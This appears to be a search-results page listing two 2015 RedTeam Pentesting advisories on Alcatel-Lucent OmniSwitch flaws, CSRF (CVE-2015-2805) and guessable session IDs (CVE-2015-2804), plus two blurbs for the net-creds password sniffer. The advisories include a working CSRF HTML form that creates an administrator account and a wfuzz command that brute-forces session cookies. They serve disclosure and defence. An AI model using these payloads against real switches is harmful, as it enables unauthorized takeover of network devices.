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Found 4 results

  1. Advisory: Alcatel-Lucent OmniSwitch Web Interface Cross-Site Request Forgery During a penetration test, RedTeam Pentesting discovered a vulnerability in the management web interface of an Alcatel-Lucent OmniSwitch 6450. The management web interface has no protection against cross-site request forgery attacks. This allows specially crafted web pages to change the switch configuration and create users, if an administrator accesses the website while being authenticated in the management web interface. Details ======= Product: Alcatel-Lucent OmniSwitch 6450, 6250, 6850E, 9000E, 6400, 6855, 6900, 10K, 6860 Affected Versions: All Releases: AOS 6.4.5.R02 AOS 6.4.6.R01 AOS 6.6.4.R01 AOS 6.6.5.R02 AOS 7.3.2.R01 AOS 7.3.3.R01 AOS 7.3.4.R01 AOS 8.1.1.R01 Fixed Versions: - Vulnerability Type: Cross-site request forgery Security Risk: medium Vendor URL: http://enterprise.alcatel-lucent.com/?product=OmniSwitch6450&page=overview Vendor Status: notified Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-004 Advisory Status: published CVE: CVE-2015-2805 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2805 Introduction ============ "The Alcatel-Lucent OmniSwitch 6450 Gigabit and Fast Ethernet Stackable LAN Switches are the latest value stackable switches in the OmniSwitch family of products. The OmniSwitch 6450 was specifically built for versatility offering optional upgrade paths for 10 Gigabit stacking, 10 Gigabit Ethernet uplinks, from Fast to Gigabit user ports (L models) and Metro Ethernet services." (from the vendor's homepage) More Details ============ The management web interface of the OmniSwitch 6450 can be accessed using a web browser via HTTP. The web interface allows creating new user accounts, in this case an HTTP request like the following is sent to the switch: POST /sec/content/sec_asa_users_local_db_add.html HTTP/1.1 Host: 192.0.2.1 [...] Cookie: session=sess_15739 Content-Type: application/x-www-form-urlencoded Content-Length: 214 EmWeb_ns:mip:2.T1:I1=attacker &EmWeb_ns:mip:244.T1:O1=secret &EmWeb_ns:mip:246.T1:O2=-1 &EmWeb_ns:mip:248.T1:O3= &EmWeb_ns:mip:249.T1:O4=1 &EmWeb_ns:mip:250.T1:O5=4 This request creates a user "attacker" with the password "secret". All other parameters are static. All POST parameters can be predicted by attackers This means that requests of this form can be prepared by attackers and sent from any web page the user visits in the same browser. If the user is authenticated to the switch, a valid session cookie is included in the request automatically, and the action is performed. In order to activate the new user for the web interface it is necessary to enable the respective access privileges in the user's profile. This can also be done via the web interface. Then the HTTP POST request looks like the following: POST /sec/content/os6250_sec_asa_users_local_db_family_mod.html HTTP/1.1 Host: 192.0.2.1 [...] Cookie: session=sess_15739 Content-Type: application/x-www-form-urlencoded Content-Length: 167 EmWeb_ns:mip:2.T1:I1=attacker &EmWeb_ns:mip:4.T1:O1= &EmWeb_ns:mip:5.T1:O2= &EmWeb_ns:mip:6.T1:O3=4294967295 &EmWeb_ns:mip:7.T1:O4=4294967295 This request sets all access privileges for the user "attacker" and is again completely predictable. Proof of Concept ================ Visiting the following HTML page will create a new user via the switch's management web interface, if the user is authenticated at the switch: ------------------------------------------------------------------------ <html> <head> <title>Alcatel-Lucent OmniSwitch 6450 create user via CSRF</title> </head> <body> <form action="http://192.0.2.1/sec/content/sec_asa_users_local_db_add.html" method="POST" id="CSRF" style="visibility:hidden"> <input type="hidden" name="EmWeb_ns:mip:2.T1:I1" value="attacker" /> <input type="hidden" name="EmWeb_ns:mip:244.T1:O1" value="secret" /> <input type="hidden" name="EmWeb_ns:mip:244.T1:O2" value="-1" /> <input type="hidden" name="EmWeb_ns:mip:244.T1:O3" value="" /> <input type="hidden" name="EmWeb_ns:mip:244.T1:O4" value="1" /> <input type="hidden" name="EmWeb_ns:mip:244.T1:O5" value="4" /> </form> <script> document.getElementById("CSRF").submit(); </script> </body> </html> ------------------------------------------------------------------------ Workaround ========== Disable the web interface by executing the following commands: AOS6: no ip service http no ip service secure-http AOS 7/8: ip service http admin-state disable If this is not possible, use a dedicated browser or browser profile for managing the switch via the web interface. Fix === Upgrade the firmware to a fixed version, according to the vendor the fixed versions will be available at the end of July 2015. Security Risk ============= If attackers trick a logged-in administrator to visit an attacker-controlled web page, the attacker can perform actions and reconfigure the switch. In this situation an attacker can create an additional user account on the switch for future access. While a successful attack results in full access to the switch, the attack is hard to exploit because attackers need to know the IP address of the switch and get an administrative user to access an attacker-controlled web page. The vulnerability is therefore rated as a medium risk. Timeline ======== 2015-03-16 Vulnerability identified 2015-03-25 Customer approves disclosure to vendor 2015-03-26 CVE number requested 2015-03-31 CVE number assigned 2015-04-01 Vendor notified 2015-04-02 Vendor acknowledged receipt of advisories 2015-04-08 Requested status update from vendor, vendor is investigating 2015-04-29 Requested status update from vendor, vendor is still investigating 2015-05-22 Requested status update from vendor 2015-05-27 Vendor is working on the issue 2015-06-05 Vendor notified customers 2015-06-08 Vendor provided details about affected versions 2015-06-10 Advisory released RedTeam Pentesting GmbH Source
  2. Advisory: Alcatel-Lucent OmniSwitch Web Interface Weak Session ID During a penetration test, RedTeam Pentesting discovered a vulnerability in the management web interface of an Alcatel-Lucent OmniSwitch 6450. This interface uses easily guessable session IDs, which allows attackers to authenticate as a currently logged-in user and perform administrative tasks. Details ======= Product: Alcatel-Lucent OmniSwitch 6450, 6250, 6850E, 9000E, 6400, 6855 Affected Versions: AOS 6.4.5.R02 AOS 6.4.6.R01 AOS 6.6.4.R01 AOS 6.6.5.R02 Fixed Versions: AOS 6.6.5.80.R02 AOS 6.6.4.309.R01 Vulnerability Type: Session Management - low identifier entropy Security Risk: high Vendor URL: http://enterprise.alcatel-lucent.com/?product=OmniSwitch6450&page=overview Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-003 Advisory Status: published CVE: CVE-2015-2804 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2804 Introduction ============ "The Alcatel-Lucent OmniSwitch 6450 Gigabit and Fast Ethernet Stackable LAN Switches are the latest value stackable switches in the OmniSwitch family of products. The OmniSwitch 6450 was specifically built for versatility offering optional upgrade paths for 10 Gigabit stacking, 10 Gigabit Ethernet uplinks, from Fast to Gigabit user ports (L models) and Metro Ethernet services." (from the vendor's homepage) More Details ============ The management web interface of the OmniSwitch 6450 can be accessed using a web browser via HTTP. A switch with the example IP 192.0.2.1 is accessible via the following URL: http://192.0.2.1/ A client is then redirected to the following URL: http://192.0.2.1/web/content/index.html For unauthenticated users the URL displays a login form and sets a session cookie with a session ID. A request to the URL with the command line HTTP client cURL shows the Set-Cookie header: $ curl -I http://192.0.2.1/web/content/index.html HTTP/1.1 200 OK Date: Tue, 17 Mar 2015 08:25:42 GMT Server: Agranat-EmWeb/R5_2_4 [...] Set-Cookie: session=sess_11012;PATH=/ The session cookie has the name "session" and its value begins with the string "sess_". By repeatedly requesting the URL with cURL it became obvious that the suffix is always a number between 1 and 32,000. This suggests that there are only about 32,000 possible session IDs, resulting in only 15 bits of entropy. Our tests showed that it was possible to get a throughput of about 50 HTTP requests per second, this means that in order to try every possible session ID an attacker will need at most 11 minutes. On average, the time it takes to find a valid session ID for an active user is even lower. Proof of Concept ================ For an attacker it is very easy to distinguish between a valid and an invalid session ID by looking at the HTTP response size. During our tests, requesting an invalid session ID always returned the login form, which was 3027 bytes in length. With a valid session ID, the management web interface is returned by the webserver and the response is larger. A number of requests in the range of the possible session cookies can be easily executed using wfuzz [0]: ------------------------------------------------------------------------ ./wfuzz.py -z range,1-32000 --hl 3027 -H "Cookie: session=sess_FUZZ" http://192.0.2.1/web/content/index.html ------------------------------------------------------------------------ Workaround ========== Administrators should avoid using the management web interface and use the serial console or administrate the switch over SSH instead. The web interface can be disabled by executing the following commands: no ip service http no ip service secure-http If the web interface is needed, it must be ensured that only authorised persons are able to even connect to the web server. In addition, the HTTP session timeout can be lowered to one minute with the following command: session timeout http 1 Fix === Upgrade the firmware to a fixed version. Security Risk ============= The vulnerability poses a high risk. An attacker can easily authenticate to a switch with the privileges of another user who is currently logged in. The attack is simple and fast. The only precondition is that a user is already using the switch during the attack. Attackers might actively trick administrators into logging in by social engineering. Timeline ======== 2015-03-16 Vulnerability identified 2015-03-25 Customer approves disclosure to vendor 2015-03-26 CVE number requested 2015-03-31 CVE number assigned 2015-04-01 Vendor notified 2015-04-02 Vendor acknowledged receipt of advisories 2015-04-08 Requested status update from vendor, vendor is investigating 2015-04-29 Requested status update from vendor, vendor is still investigating 2015-05-22 Requested status update from vendor 2015-05-27 Vendor is working on the issue 2015-06-05 Vendor notified customers 2015-06-08 Vendor provided details about affected versions 2015-06-10 Advisory released References ========== [0] https://github.com/xmendez/wfuzz RedTeam Pentesting GmbH Source
  3. Thoroughly sniff passwords and hashes from an interface or pcap file. Concatenates fragmented packets and does not rely on ports for service identification. Sniffs URLs visited POST loads sent HTTP form logins/passwords HTTP basic auth logins/passwords HTTP searches FTP logins/passwords IRC logins/passwords POP logins/passwords IMAP logins/passwords Telnet logins/passwords SMTP logins/passwords SNMP community string NTLMv1/v2 all supported protocols like HTTP, SMB, LDAP, etc Kerberos SOURCE
  4. Thoroughly sniff passwords and hashes from an interface or pcap file. Concatenates fragmented packets and does not rely on ports for service identification. Download: https://github.com/DanMcInerney/net-creds Source: https://github.com/DanMcInerney/net-creds
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